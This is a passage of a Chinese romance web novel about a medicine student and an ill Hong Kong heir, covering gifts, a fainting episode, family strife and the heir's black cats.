“嗯?”梁尔璐原本专心盯着保镖写的座机号码,此刻呆怔。
直至出了警局大门还难以置信,傻傻挪行,险些摔下比机动车道地面更高的马路牙子边沿。
不是吧,接连两天倒大霉?
她停下,打量脏兮兮的拖鞋。
没破啊,质量不错,回头再网购几双,给全家人安排上。
梁尔璐拍拍脸:“疯了疯了,你这情况了还管鞋呢?”
脚踝的创口贴位置甚至有几条向下淌落的干涸血痕。
这破伤口也不知什么时候才能愈合。
她继续当起瘸子,又稍抬看包扎手掌与胳膊的白纱布。
梁奕珩说回海西父母家了,飞机延误,但他怎么解释事态紧急都不被允许下飞机,只能用求救短信内的地址替她报警。
“就算能下飞机,我也来不及赶过去,得亏你今天微服私访,哥不会忘这次使唤你的人情。”
车远远地缓跟着,林瀚睿握紧通话中的手机,凝望窗外一高一低走路的身形:“小事,抽空聚。”
而她那踝骨处的血色逐渐扩大,他脑海中蓦地浮现一大滩血泊。
蔓延。
蔓延。
他颤了手,艰难挂断电话。
随之发急的呼吸闷堵在喉口,他咬牙止住不断满溢的喘意,向车前座传声:“必须……让她上车。”
是的,他一直以来都没做错选择。
既然生了无法根治的病,确实该放手,不能把她困在身边,受他的苦。
甚至,绝对不能因他而死。
*
干坐在后面一辆车内无聊数小时的私人西医率先打开车门,他直嚷:“少爷少爷少爷!”
劈头盖脸的喊魂腔调吵闹,林瀚睿扯松领带,想把耳朵与喉咙都撕毁个彻底。
周围凭空响起的叫唤声突兀且响亮,梁尔璐转身,瞥见与之前同款的豪车,后座窗户的隐私膜也没区别,至于即将关闭的车门处,有小半个黑西装男人的背影。
是他?
仔细回忆比对时,她见保镖走近:“小姐,少爷请你务必上车。”
“谁?”早已在民宿救过她一次的那位富哥?
女人面露疑惑,车内的医生短短瞥看便收眼。
他服气:“少爷少爷少爷,你等恢复些再看外边行吗?”
既然第一时间换车求生,怎么又敢死死抓靠窗侧,严重妨碍呼吸?
14. 旧夏日
是他。
自从麻利坐了这少爷的车,被送回深城的将近两天以来,梁尔璐琢磨够久了。
楼下人家的乔迁宴菜品琳琅满目,但她没动几筷子。
懒于纠结餐桌主位那陌生老夫人邀请临近住户的热情好客,毕竟她对陌生少爷心怀愧疚。
父亲简单向珠光宝气的老人家解释:“实在扰您兴致,我女儿出了趟远门,结果手脚都受伤,一直失魂落魄。”
“说什么打扰。”她抬手示意博古架上的相框,“只有我那外孙不懂事,连外婆的乔迁宴都不到场,去什么好哥们家探病了。”
“他好哥们病了?”收回目光,梁尔璐讶异。
“对,你们都认识?”
她迟疑摇头:“其实不算,单纯在您外孙的民宿见过一面,抱歉啊老夫人,导师有急事找,我先走了。”
尴尬离场,她搜索了民宿公众号,尝试联系:“老板,你好哥们身体怎么样?麻烦你代我向他道谢两次,他自己明白原因的,以及道歉,之前我误会他是普信下头男了,富哥不想被狗仔拍到与女人同框的照片很正常。”
谁知对面秒回。
【活着,他的原话。等我到他家,一定转告,你这么关心他。嘻嘻。】
欠揍?
梁尔璐无语,一再后退页面,戳进置顶的聊天小窗发语音:“合作伙伴,我之后都在深城,可以再见了!今天下午也可以,交货地点你定,我随意。”
这男人也秒回,但仅“收到”二字。
原封不动的餐车被推出卧室,林瀚睿垂眸重看手机,新消息的语气同样明媚。
“我总不能一直用林北这种词当你的好友备注吧?”
“我的确姓林,朋友恶作剧,让改所有APP的ID。”
他认输。
哪怕心中有再多合理分析,千变万化的赛马会都难以完全受他掌控。
其实应该趁此终止合作关系。
这种必须的放弃,他向来游刃有余。
可这不是在做生意。
而他们偏偏只是纯粹的合作关系。
翻回倒扣的手机,一连几条——
【所以呢然后呢】
【要我取吗】
【我只会取林先生、林神仙,林神仙先生,我姓梁】
头疼。
林瀚睿上翻记录,懒惰拿字回复:“我也随意。”
她倒是又应得极快。
【那我要换成北北】
【北北】
再三看清笔画简单的两个字,林瀚睿“噌”地从沙发起身,往门方向走,却由于盯手机而绊到床脚,跌得径直跪在石头地板。
斜对面的风扇摇着头,嗡嗡作响。
他连忙屏住呼吸,秒速站起,躲开大部分因摔时五指紧抓被褥支撑这一大动作,而飞于室内阳光的细碎棉絮。
弯腰揉揉发疼的膝盖,他瘸着快步下楼。
厨房。
营养师面对大半桌冷却中的饭菜发愁。
据医生称,少爷是不良情绪引发的哮喘,且噩梦连连,心理生理双重糟糕的情况下自然消减了食欲,几乎是将床头柜上的一盒司康当饭吃,已经见了底。
而且听说凌晨进卧室急救时,他倒在一面挂了单幅油画的墙前,床与地面满是凌乱的扑克纸牌。
在这幢别墅工作的人都知道雇主这儿子有玩花切的习惯,虽然不懂他每次平静外表下都在想些什么。
余光瞥着少爷走近,营养师欣慰,他不愁了。
两天了,少爷终于笑了。
但怎么腿瘸了还笑?
“不用叫医生。”林瀚睿落座餐桌,拿起筷子的同时收到消息,笑容倏忽滞住。
【林北咯,这样就把你钉在断网年轻人的耻辱柱上了】
迅速发完最后一条“我吃过饭了,你也要好好吃饭”,梁尔璐摁灭手机,双手轻拍热乎的两颊。
北北……
梁尔璐你你你真是胆大包天!
他可是出身英语浓度过高的港岛!
但她所给的备注理由也绝对挑不出错。
总之这坏男人上次突然说什么“分别再见”的,她也得暧昧回去!
对,她不理亏。
才不是耍心机喊“宝贝”欺负他呢。
*
透过柔白窗幔的阳光落在客厅地面,唱片机缓缓运作,流转《蓝色多瑙河圆舞曲》的优雅。
“太子爷,您能往画上涂点不是蓝的颜料吗?”谢柏延安逸瘫沙发,左拥右抱的全是黑猫,顺势捂脸,“哎呀,病弱小少爷,你好惹人怜爱。”
“癫公。”林瀚睿抬眼假笑,暂搁了刮刀,拿起茶盏。
“你到底在画什么?”
奇怪。
甚至听唱片不够,也戴单侧的蓝牙耳机。
“据说是一个死人彻底死之前看到的夜空。”
谢柏延苦了神色:“不是哥们……虽然哮喘在晚上多发,但你别想这些晦气的。”
他眼看好哥们沾染红色颜料,将刀落在画面的下半部蓝处,等结束一个鲜红的躺状人形才出声:“你没断网,知道林家死过谁。”
无话可说。
画技在线,但真的就是死人在望天。
其实他并不知新闻报道以外的内情,何况林家现任掌权人也很少在社会上提及这事。
至于这位继承人,总算轻飘飘放刮刀,去碰对讲机:“周叔。”
管家随即赶到,林瀚睿递过内部贴了未干透画纸的长方形礼盒:“劳您将它送给我爸。”
谢柏延实在好奇:“你到底怎么分得清十九只黑猫的名字?还有你怀里那小子怎么没精神?”
“当然是有迹可循。”把猫安入宠物推车,林瀚睿拎起露营用的保温箱,以及大袋猫粮、猫玩具,双双堆进另一辆同款推车,“他姐有了人类妈咪,所以我要带他去见姐姐。”
“你画画用的那个颜料缓干油是不是就算软化剂?要我说就应该涂你嘴上!”
“算。”
他乐意瞧见谢柏延的破防模样:“她上次在你民宿吃了什么?”
“芝麻糊汤圆、五果汤、椰汁西米露、加十多种小料的椰香刨冰,一些奶油蛋糕,冷热甜油,无敌铁胃,别人聚餐忙着社交吹牛,她张嘴吃。以上全是民宿管家说的原话。”
啧声不满大少爷套完消息就走的无情态度,谢柏延笑瞅压根没停脚步的背影,打响指:“不过她还真是你姐姐。721,外婆骂我不去乔迁宴就算了,但梁家姐姐今晚在颐林酒店的生日宴必须参加。”
“小三个月的嘴硬弟弟,快去见姐姐吧。”
耳机内的纯音乐正放到和声段落,歌词熟稔于心。
烈日的辉芒萦身,林瀚睿微皱眉眼。
要见。
放任爱意的最后一次,必须见。
*
等在小区楼栋阴凉的单元门内,梁尔璐认真筛选音乐APP的每日推荐歌单,凭借前奏连续切换七首,她总算听着顺耳的。
End of regret。
遗憾的终结?
正注视播放页面,听完末尾惊艳出现的六句英文和声,她抬头迎上男人双眸闪烁的笑意。
最后的翻译说,即便失去也会期盼下一次相遇。
第六感强烈。
参照她最近的倒霉程度,难道合作伙伴想要结束关系了?
“我没回港岛,所以给你带了这个。”
“既然我那边少了两只猫,你这理应多几份养猫用品。”
“你做的司康很好吃,蛋糕是延迟了这么多天才有机会送给你的代购合作礼物,商业圈子里往往会为了一个项目的达成,办宴会庆祝。”
需要去港岛带什么?
少了两只猫?
代购货物本质是送她的礼物?
“啊?”她脑子神游呢,男人连续传递的信息量明显过载,“你说话有问题。我学中医,确定你生病了。”
虽然连贯,但虚。
鼻音重了些,微不可察的程度,而仍逃不过她的职业敏感度。
“胃病。”知道无法隐瞒,林瀚睿答得自然。
他小时候问过哪些疾病导致的症状可以和哮喘类似,来骗过中医眼睛。
彼时,私人中医的眸色极其慈悲,怜爱他这个只能对外隐瞒病情的太子爷。
其实……他纯粹出于求知欲。
“那我走了,不用送。”
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两辆宠物推车横在身前,梁尔璐急急绕过,追出拦人。
“你没礼貌!”
“走了却不说再见!”
她偏不让:“那算什么猫?你是怎么认清好多只没花纹的同品种黑猫?养了几只?”
裹挟燥意的热风坚持将颊侧的碎发往脸中部吹拢。
男声则相反,与他的笑容一般轻柔:“你在生气。”
梁尔璐使劲把这数绺捋至耳后。
她现在是纯恨战士:“我恨头发!”
这聪明人显然清楚她正索要一个跟猫无关的答案,却平静地答非所问。
帅气五官因装傻而面目可憎。
“酒水猫,伏特加,算上荔枝有十九,类似人的指纹,猫的鼻纹也独一无二,相应食物姓名也契合猫的性格。”
“荔枝甜,亲近人,伏特加不苦不甜不涩,对人类没太大兴趣,除非是对着喜欢的猫,比如姐姐荔枝,表现就和伏特加的烈性没区别。”
“猫也会抑郁,你一起养他们。”
她喝过荔枝利口酒与伏特加调制的荔枝马天尼。
荔枝的甜减少了伏特加的烈,属于恰到好处的夏日微醺感。
男人这说完就走的无情味……挺配那张渣苏脸。
无语。
醉了。
“你没礼貌!”
“我恨你!”
欺负她聪明,所以有些话不用敞开说,多体面呐。
可是谁还不会装傻了?
幸亏还没对他暴露一身反骨。
坏男人最好小心点。
*
入夜,书房的单盏壁灯照拂深色系木质家具,仍旧晦暗。
“你在这件事上浪费的时间有些多了。”
林瀚睿冷视窗前男人的背影:“找你的不痛快,寻我的开心。”
“祝我的乖儿子每天开心,爹地期待你下次寻开心的方式。”林堇羲轻轻将礼盒放去他手中,替开盖,“你妈咪,完好无损。”
油画确实一如既往。
林瀚睿夺过,扣紧。
“你严禁媒体报导亡妻的任何新闻,让外界不断猜测你是否爱她,但你告诉自己,没爱过,完全没爱过,所以才不会在她每个忌日做任何事,所以才不屑拿她这个不重要的女人作秀赚名声。这样自欺欺人,你是有多因为爱过她却毁了她的事实受折磨,但这只是毫无意义的虚伪!你……”
捱了个耳光,脸颊火辣生疼,一定程度上影响到逐渐短促的呼吸,林瀚睿嗤笑:“爹地,我们父子,谁都别想好过。”
半跑回卧室,他尽力获取更多氧气。
墙面挂有装裱精美的油画,拧眉盯够,他攥过摆于下方柜子的吸入剂使用,顺势靠向侧边的墙,险些撞落台面角落的一把透明伞。
再怎么慢着脚步,林瀚睿照样失稳,摔在床沿的地。
医生开锁闯入时,第一眼即震惊:“少爷少爷少爷!”
男人持续往手腕滴蜡油,五指的颤劲明显,不住瑟缩,却没让躲闪的趋势再三剧烈,只是一直承受落下的滚烫。
趁少爷处在哮喘余韵而并无多少反抗力量,他取缔香薰蜡烛,抓紧处理伤口。
靠床坐的人表情不沾什么生气,目光近乎失焦。
苍白额头上频频冒出冷汗,又迅速淌延。
少爷甚至远远不如这种生理反应有活力。
他麻溜包扎,飞快下楼摇人。
横竖得把卧室里的所有蜡烛清空。
气势汹汹赶到之际,全傻在门口。
室内依然幽暗,而金属废纸篓极其显眼,其中焰火簇燃。
站旁边的男人唇角沾笑,缓缓往里扔进蜡烛,一一焚灼。
难以言喻的复杂香氛气息弥漫。
袭人。
烟雾缭绕,男人冷峻的脸在炽烈火光间明灭。
疯了般蹿升的红,宛如遮覆他苍白面容的一层阴影。
*
吹熄生日蜡烛,梁尔璐点击朋友圈新评论。
对方针对第六张她与梁奕珩挽手相依的双人合照,误会为情侣。
习惯了,她不予搭理,手机屏幕顶端正巧跳出消息悬浮窗。
【北北:我反悔了。】
15. 旧夏日
呦。
走留都只随您一张嘴叭叭?
哦不,您走时都没用嘴呢。
厉害啊。
我考虑考虑吧。
梁尔璐不满地轻哼,打出这些心里话阴阳怪气。
双击屏幕锁定之前,多瞅了两眼男人秒回的“对不起”,她收敛强忍在唇角的暗喜弧度,舒心吃饭。
席间,长辈正聊得热络。
“因人而异,我朋友的妈每次用完哮喘吸入剂之后,都不可避免地会心跳加速,身体控制不住发抖,走路还打飘,得扶着点东西才行,所以她就聘请家庭中医给针灸,和吸入剂配合着用。”
身为中医世家第九代传人,梁尔璐眨眨眼。
所以也有吃完药却更疼的胃病患者。
某人说话偶尔带些鼻音,皮肤是白,但从脸色能看出是明显的气血不足。
气血与胃脏是一荣俱荣一损俱损的相辅相成关系,脾胃虚又容易导致鼻炎。
“仪仪,我出去会儿。”梁尔璐眼瞅闺蜜专心干饭,疯狂吸入蛋糕的奶油。
对于好友慈祥的目光,钟敏绮往她怀里轻蹭了撒娇:“好的,银银妈咪。”
等人离席,她冷漠转头,手指不耐烦地轻扣右侧桌面:“喂,新来的,抢位子的,跟梁奕珩说我姐妹有事出去了,不知道什么事。”
谢柏延学手的动作,脑袋朝着她:“喂,被抢位子的,我梁姐不知道为什么事情出去了。”
“我不瞎没聋。”梁奕珩额头淌黑线,看向稍提长裙而慢步前行的清瘦背影。
梁尔璐撇嘴,犹豫着终于按下“发送位置”键,选中酒店地址。
来之前,她跑自家中医馆装了一包猴头菇淮山养胃汤的药材,眼下将近两小时,后厨的师傅们绝对已经煲完。
权当是回礼。
毕竟某人下午冒着烈日赶去另个市区的港式糖水店,买了一保温箱的点心、糖水与凉茶。
这般舍近求远,无非是这老字号的老板属于正儿八经港岛人。
道谢接过厨师给的保温桶,梁尔璐往酒店大门走,对合作伙伴赴约的速度万分好奇。
CBD的楼厦芸芸,大多都高耸入云,之间的月色一如既往浅淡。
男人倚靠着稍远些的墙沿,灯光昏暗,全黑的西装融入其中,此刻微微垂头,眉眼低落,额处的发丝少有几绺顺势松散。
她望不太分明,上前:“林先生。”
因此而迟钝抬起的双眸轻滞,视线淌着氤氲雾感,流露倦怠之色:“梁小姐。”
高跟鞋踩地动静居然这么没提醒意义的?
凭刚才的距离,梁尔璐无法看清他泛红的左侧脸颊:“你喝这个,刚出酒店后厨的锅没几分钟。”
她指指男人右手拎过的保温桶:“不用还了,里面是猴头菇淮山龙骨汤,加了些中药的那种,你之前说胃不好嘛。”
像被打的伤?
实在没这种概念,她再三伸手,迅速且小力地攥他五指。
“你夜里畏寒怕冷?不是吧?气血不足都到这程度了?但上次在天桥还下了雨,你也没这么离谱。”真就是摸蛇的凉意,梁尔璐怔住,“刚生过病?脸色好难看,既然你不舒服就没必要来这趟。”
“我朋友也在酒店。”
解了她并未提出的疑惑,梁尔璐弯唇,点头:“你真聪明,但我已经不在意这个了。”
“你在意什么?”
她骤愣。
瞬间傻了?
病得不轻啊。
大抵桃花眼,能沾惹些许朦胧感,分明含情注视着,却好似走神。
嗯?他这次没戴框架镜。
用了隐形?
那需要凑得更近,才能看出来。
猛收胡乱的心思,她回应:“你……”
的健康。
被男人一声恍然大悟的笑腔“哦”打断,她咽下剩余字音。
“我知道了。”
“嗯,总之你注意身体吧,然后等我会儿。”换了说法重新关照他,梁尔璐低头操作手机。
身侧整面玻璃幕墙内的落地挂帘都垂放,酒店大堂如昼的灯光仅是微透,也足够衬亮她戴于发间的冠冕,璀璨夺目。
林瀚睿挪开视线,凝她翕动的眼睫:“酒店后厨可以进?”
“没啊,厨师长说客人禁入后厨,但他特别好,说会帮我做,营养师也好,因为我准备的药材,就建议给一点龙骨,龙骨吧,它是比排骨便宜,不过营养价值更适合煲汤,而且本质上市场价也不算低了,他们完全可以自己留着熬高汤的。”
“好了,你再等……啊!”
及时扶稳后退的身形,林瀚睿半垂目光,眼风轻掠被梁尔璐用力揪紧的西服衣襟,稍上挪,见她警惕盯看对面陌生女人时惊惶未定的神情。
经历山林尾随那一遭,梁尔璐对背后的脚步声异常敏感,察觉揽扣在肩侧皮肤的虚凉五指紧了些,随即松开。
她偏头,怔忡着抬望男人。
“天呐,吓到你了,对不起对不起!我只是想问你这条裙子是哪买的。”
她闻声转回,顺势避开那双辨不清眸意的暧昧桃花眼,简单打量自己。
长至脚踝的的黑色侧开叉抹胸裙,上半身前后兼腰畔均有不规则立体的玫瑰花设计,于夜色中流溢五彩斑斓的红,如同暗夜玫瑰一般旖旎神秘。
安全了。
原来是一生要强,随时随地都在求链接的中国女人。
瞧人穿的CHANEL高定裙,想也富贵,交流能极顺利。
但她成功结巴:“这这这,这这个是我在华侨城那边婚纱店买的,R.Q,这家。”
“谢谢你,祝你新婚快乐!那皇冠呢?香水呢?我总感觉都有点印象,发型好看,怎么梳的?”
压根来不及反驳对方影响了男人清誉的误会,梁尔璐微僵,硬着头皮放弃:“香水是VALENTINO的白日玫瑰,冠冕是朋友送的,好像CHAUMET家的吧,大少爷喜欢浪费钱,我又喜欢打扮港风那一套,所以直接上网搜港风发带丝巾盘发,用冠冕代替布料装饰了。”
“懂你,虽然嘴上嫌弃,但心里真的超级开心。”
那确实,她弯唇赞成。
原以为这场意外社交能结束了,不承想大小姐瞅了眼她身后的合作伙伴,继续唠:“我还挺羡慕你,他都没无理取闹,我未婚夫就醋精疯子一个,眼里连我二十多年的男闺蜜都容不下……拜拜哦,漂亮姐妹。”
“拜拜。”那她还怎么笑得出来?
有没有可能他们并不是爱人关系?
径直睁大眼,梁尔璐缓神,尴尬转看面容平静的男主:“sorry,那我先回酒店了。”
跑了先!
只是仅后退半步,她立刻挪回。
“怎么了?”
别。
闭嘴。
男人越是温柔,她越局促。
是啊,怎么了呢?
她为什么要医德泛滥?
“没怎么,差点忘记我还有别的东西得给你。”强装镇定,梁尔璐稍望远处,向过着人行道的外卖员招手。
“不满意酒店的菜?”
“五星级酒店的菜满意啊,西式的好吃,我没出国经验当然挑不出错,本土味也好吃,毕竟我对粤式的特别挑剔,总之没大问题。”她疑惑正视淡淡发问的男人,忍俊不禁,“后厨不够,现在谈食物,你怎么跟严格视察工作的领导一样。”
“单纯好奇。”
语气平平,多少能听出他刻意收敛的疲倦感。
递了对面烧烤店的三串烤菠萝,梁尔璐折腾另个塑料袋,沿着灌装冰汽水的瓶身卷实塑料袋,牢牢打紧固定的结,为男人预留出一部分可拎的袋环:“给脸消红去肿,二十四小时内冰敷,之后再热敷,如果你对菠萝不过敏,也带走它。”
夏夜风拂,慢悠悠的慵懒劲儿。
沉甸的手变空,她垂眼,顺带捋开些修饰在脸颊两侧的微卷刘海。
感觉瞬间无话可说了:“我回……”
“生日快乐。”
双方的声线短暂重叠,男人温和轻柔的嗓音倒是延续。
“啊?啊,谢谢你!”她当即抬头,但实打实地发愣,这也太突然了吧。
“刚才我听走出酒店的小孩子跟父母提起,有穿你这身裙子的漂亮姐姐在办生日宴会,说她以后也要穿成黑。”
“哦,是对面宴会厅的娃娃,我们互换了伴手礼盒。”愈发觉得羞赧,梁尔璐状若无事地瞥看旁边地面,“那个……汤冷掉就不好喝了。”
救命,她在说什么啊?
保温桶听了都想踹飞她这猪脑子!
跑了先。
这一回必须跑。
谁知即将靠近酒店正门时,她因绕过大堂拐角的父亲裤脚与鞋尖而警铃大作。
转头又见不明状况,静默看来的男人。
怎么还不走啊啊啊!
前有狼后有虎,梁尔璐二话不说折返,焦急攥过他左腕,带着躲入街区的小巷:“抱歉抱歉,家里人知道我发神经地带保温桶和中药进酒店,万一看见是你一个男的拿着,我就得被烦死了。”
总算缩回隐蔽在墙沿鬼祟张探的脑袋,她放落高悬的心,转身:“我爸回去了,那我拿一串烧烤,用大馋丫头借口掩护啊。”
男人寡淡的眸色并不弯绕,独独微垂,正对她。
“嗯”字应得极轻,蓄意控制的意味明显,像是需要压低着点什么。
蛮适配昏黄路灯下,他们身处的幽黑静巷。
其实距离够远了,再重,父亲也绝对听不见的。
“谈地下情呢?”
而再度响起的响亮分贝油腔滑调,嗓音陌生,源头所在的巷子底随之照来一束手电筒光与模糊帐篷影子。
后知后觉的颤栗感爬满全身,梁尔璐冷汗频冒,声音含糊,弱到临近失语:“怎么我后面总有人……”
林瀚睿被刺眼的强光影响了视线,延迟察觉她的异样,险些没能抱住软坠的昏迷身形。
车停附近,待副驾驶的私人西医通过后视镜察觉情况,坐进车后舱着手检查。
针对少爷稳中沾急的一句“受惊吓”,他安抚这位眼底都忍红了的死装哥:“惊吓过度,虽然体温偏低,但其余生命体征无异常,从这里去医院也快,放心吧。”
接过薄毯,林瀚睿细致轻盖,拿湿纸巾擦拭她苍白额头的汗:“许秘书,让宴会销售部经理到3号厅通知客人的女儿在人民医院住院部A702,安保部经理排查酒店周围的流浪人员,送救助管理站。”
医生醍醐灌顶,都快忘记自己是伪装成小老板三个秘书之一的私人西医了,匆匆打完电话,左右为难地出声:“少爷,我能再看看你的左手吗?”
解开腕部的一系列遮挡,他小心翼翼交回镶嵌了黑玛瑙的银质袖扣。
包扎用的纱布已渗出不少组织液,显然是受到过度的外力挤压。
“到医院之前处理好。”
那几乎已经到了。
这犟种的意思是就不换,想怎样。
无所谓,他胆肥,颤抖着单根手指在伤口轻轻下摁,当即后仰,勇敢直面太子爷面无表情时的不怒自威。
算了,遇上能把痛觉干沉默的死装哥了。
*
“林先生,既然是惊吓过度,身体虚弱,万一醒后情绪异常,不利于静养,所以我给病人注射安眠药物……”
护士震惊病房内只剩自己一个站着的人,她开门。
传闻中的顶级豪门大少爷正搁客厅兜转忙活。
电热水壶呼哧烧水,冰箱被填满,他杵微波炉前,靠手机研究这简单的傻瓜电器,又换旁边学习略微复杂的烤箱知识。
人姑娘也不至于要住很久啊。
“病人注意休息就好,我会再打一针安定,后续呢,将跟进观察是否有发热症状。”
“嗯。”
根本没空搭理她的百分百信任语气。
却冷不丁留她,态度温吞。
“稍等,请问您今晚值班吗?无论哪种,我都按照医院规定的薪资标准,额外付您一笔加班费。”
*
翌日中午,梁尔璐隐约听见父母吵架。
“梁清泗,你能不能安静点?”
“初琅,可是我女儿手指动了啊,妹仔,妹仔?”
以免爸爸再被老婆骂,她尽快睁眼,却渴得轻声咕哝,接了母亲无言递过的水杯。
“梁尔璐!护士说的那个什么?对,抱你进医院的男人,谁啊!不行!我这当爹的都多少年没抱你了?凭什么?谁敢做我女婿?”
震惊中轻微呛咳,她眼睁睁瞅父亲胳膊挨了妈咪的无情肘击。
“应该是我深港反向代购的固定客户,那汤就是煲给他调养胃病的。”张望周围,梁尔璐认出VIP病房。
难道是通过反向代购,获得深城更便宜同款产品的港岛少爷?
“女儿饿了,你去冰箱拿吃的热热。”支开丈夫,梁初琅拿稳玻璃杯,“妹仔,头发乱。”
刚捋顺几绺,梁尔璐愣着摸整个脑袋:“嗯?”
发间消失的冠冕与一堆小皮筋、u型夹,此刻全在床头柜上。
她偷偷瞥一眼脸色平静但足够有威严的母亲,急忙垂眼:“这个头发是护士……”
“对,护士说是你那位固定男客户,怕你仰卧被硌得后脑勺疼,让护士扶住你,之后你的男客户特别耐心,手法特别温柔,特别舍不得你痛半点。”
“妈咪从你七岁起就没再给你梳头发了,算下来已经十八年没有长时间碰过你的头发。”
“也已经远超十八年没帮你洗脸。”
“不过,卸妆是护士动手的。”
“妹仔,千万别忘了。”
“这是你人生第一次睡男人的床。”
无缝衔接,密密麻麻,毛骨悚然。
梁尔璐胡乱抹抹脸:“妈,妈咪……”
“嗯,妈咪在听。”
窒息了,是梁女士久违的恐怖版温柔笑腔。
保命要紧:“我没和他谈恋爱!我还想再睡觉!”
“好,睡吧,出院回家住,有爹地妈咪的家。”
还睡得着就见鬼了。
等门缝彻底重合,梁尔璐迅速跑卫生间洗漱了。
病床右侧的窗边沙发上有张纸条,上方字迹是锋芒毕露的瘦金体,却融合了具有韧性的行楷笔力。
她按“客厅茶几”的留言,到隔壁。
满桌子堆满了奢侈品牌的白色手提袋,另有一张——
【昨晚只让护士给你用卸妆巾简单处理,无法再深度清洁,这些你拿去补救修复皮肤。离开前清空冰箱。】
梁尔璐目瞪口呆,陆续打开全部包装盒。
是梦吧?
全套洁面以及护肤流程所需要的产品?
同样是保湿乳霜,两款都买了?
连搓脸的肥皂也没放过?
照经验,这一口气花的钱直接上万。
最便宜的只有角落那十盒卸妆巾,折合仍未满七百,甚至低于单块洁颜皂的价格。
但又确实属于尤为好用的另个品牌,某败家玩意儿倒是认真研究了美妆功课。
她哆哆嗦嗦拨通他的微信电话:“你疯了?我以前也偶尔犯懒带妆睡觉的,总结就是感谢妈咪生的好皮肤,没什么问题,你……把这么大笔钱砸我脸上呢?大少爷,您要不吱个声?”
一声悦耳的轻笑。
“梁小姐,我在读博士,上至奖学金,下至出差补贴,不缺钱,何况比起你出于医德的善意,这显得浅薄,再退一步,你当成是合作伙伴为了长期捆绑利益关系,投其所好,送你的普通商务礼物。”
“什么话都被你说了。”说来惭愧,她去自家中医馆拿药材是零元购的。
“清楚说不过,合该放弃,你应该注意休息,我目前还有事忙,先这样。”
差点挂断,梁尔璐挽留男人的分贝骤响:“不能这样!你可以到我家照顾猫猫吗?钥匙会让同城跑腿送单元楼下的,因为爸妈让我回去住,我感觉与其请那种上门的宠托师,不如你当爹地的看着。”
“需要等我四十五分钟。”
“等你!”
挂断的动作极其快速,林瀚睿垂眸,勾唇凝看通话结束的界面:“就这么舍得?”
泳池内毫无波澜,他收敛笑容回客厅,止步门沿,没接两步之外相亲对象递的透明方盒:“吴小姐,给不熟悉的人送甜品,欠妥。”
“我没偷听你打电话!这,这是减糖版的柠檬曲奇。”虽然男人并未皱眉与冷声,但她能感知到平和气氛中的强烈不悦。
看得出他确实对这场相亲饭局反感,但此刻的情绪绝非如此。
林瀚睿不打算再浪费时间:“想必吴小姐也不愿意看到全港瞩目的订婚宴上,男方缺席。”
“这是你前男友送给我们的祝福。”
文件袋对侧纸角的力道没多作停留,利落松开,而女人手颤,里面的照片纷纷坠落。
其中有一瓶摔倾的液体,受殃及的马路因此被腐蚀。
“感谢他特意赶来深城泼我硫酸。”意兴阑珊地挪转视线,林瀚睿稍稍抬望二楼扶拦处的男人,“爹地,您也听见了,林家的脸面险些被毁,我二十五年没碰过扫帚,辛苦您安排清理。”
*
尝多独居的甜头,梁尔璐说什么都要逃离父母。
沿途学了几篇宠物博主的猫饭食谱,她到家门口才后知后觉,最应该和崽子的爸爸取经。
室内除喵声以外,静得出乎意料,冷气充足且拢近,消退了不少肤表的闷热。
男人微皱眼眉,侧蜷着睡在浅灰调的沙发,两只黑猫窝他腿边,断断续续舔舐卫衣长袖下的纱布。
她拆解被弄湿的纱布,从中显出满是水疱的红肿伤口。
忍住了惊呼,梁尔璐看向他白净的左脸。
又被打耳光又破手?
轻轻捋起两截袖管,她对胳膊东张西望,自顾自低喃:“没留在这里吗……”
视线下移,她打起男人衣摆的主意,犹豫的右半边五指终于撩开片角布料。
“梁小姐。”
“嗯?”
倏忽迎上一双瞳色浅淡,却犯规似含露深情笑意的桃花眼,她用来小心翼翼捻提的作案手指瞬间失去力气,心虚跌坐地板,直勾勾对视的目光忘了眨动。
而干涩感令她回神:“我没有!不是我!南粤是梁姓第一大省,你你你叫的哪个梁小姐!”
“sorry,我梦见别的梁小姐了。”
“你梦见女人也皱巴个脸呢?”敢情还真就接她胡说八道的话茬?
梁尔璐撇嘴:“总之我不是故意要拆纱布的,是猫总在舔你伤口,我想帮忙换。”
近乎是同时,她低了头翻起医药箱,林瀚睿放下略抬的几根指节,收回欲扶的冲动,“我没被家暴,其它身体部位也没伤痕。”
“犯法的人也说自己没罪啊。”确保消炎药粉分布到位,梁尔璐才在他持续忍痛的神情中缠纱布,“所以这个是昨晚就有了?”
“不是,香薰蜡烛导致的浅二度烫伤,一般。”
“哦,骗子。”再怎么一般,也遭不住她当时那紧攥的手劲。
“被你发现了。”
装傻充愣。
明知故犯。
其实心里别太清楚骗不过她……
丢个无语眼刀子,她努力无视执意落入耳内的轻碎笑语。
男人单抹食指的白在医药箱边缘轻声扣响,梁尔璐重新掀眼皮。
见他脸容温静,洇开柔色:“你坐过来。”
攥住她手的动作,却强势到不由分说。
将她敏感的掌心与指腹劲直带往他腰侧。
放上,摁下。
一再游离去腹部、背部。
触感所到之处,比她低的体温传至衣服外,梁尔璐受冻般瑟缩,五指揪紧绵软的布料。
男人引她探向背脊深处,双方之间过度缩短的距离,半拥的姿势,于她而言纯属被动。
太近了。
他淡然的嗓音几乎是在耳廓擦蹭——
“你刚才也看见了,即使疼,我依旧能不呼痛,却很难控制表情。”
“你看,我不疼。”
“松手。”
收敛紧张呼吸时微弱的声气,梁尔璐呆怔地自他肩处转头,鬼使神差地听从他末两个字。
手顿时感觉到朝他脊椎骨压拢一些的外力。
男人泰然自若地衔笑,鲜明衬托她的心慌意乱。
太狡猾了。
让她亲自确定是否被家暴的方法虽然不算多,但偏偏用这个……
梁尔璐试图挣脱,却惊讶于他并未再阻拦的手劲。
而他眸中漾起的玩味笑意是什么意思?
怎么搞得好像她想继续玩这强制游戏?
“你欺负我!”
她撂话就逃,靠向关闭的门板缓缓调整呼吸。
对面住户坐楼梯口换鞋的期间偶尔瞅来:“靓女,谁才是你男朋友啊?上次帮你搬家又住的那个,还是今天进去这个?我听其他人说,他前阵子在楼下送了你很多东西。”
小区情报中心恐怖如斯。
而且这种住宅楼过道内,正常的人声分贝也
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足够让屋里人听清了。
梁奕珩那会儿暂住是因为恰好还在给自家别墅清灰置办。
梁尔璐悻悻,死盯上升的电梯层数,掐准时机:“都是哥哥,我在家里排行老三,开了开了!您先!”
不过她的确还不知道坏男人是哥是弟。
按他发的微信消息,她到单元楼下望三楼阳台,赌气忽略落日光影中张扬恣意的渣苏五官。
这是第一次见他被笑容渲染,却仍表现出危险迷人的勾钓魅力。
修长指间稍垂的手机屏幕上滚动横屏字幕,纯数字——
【19951016】
呦,是弟弟呢。
服了,都已经到饭点,她跑什么?
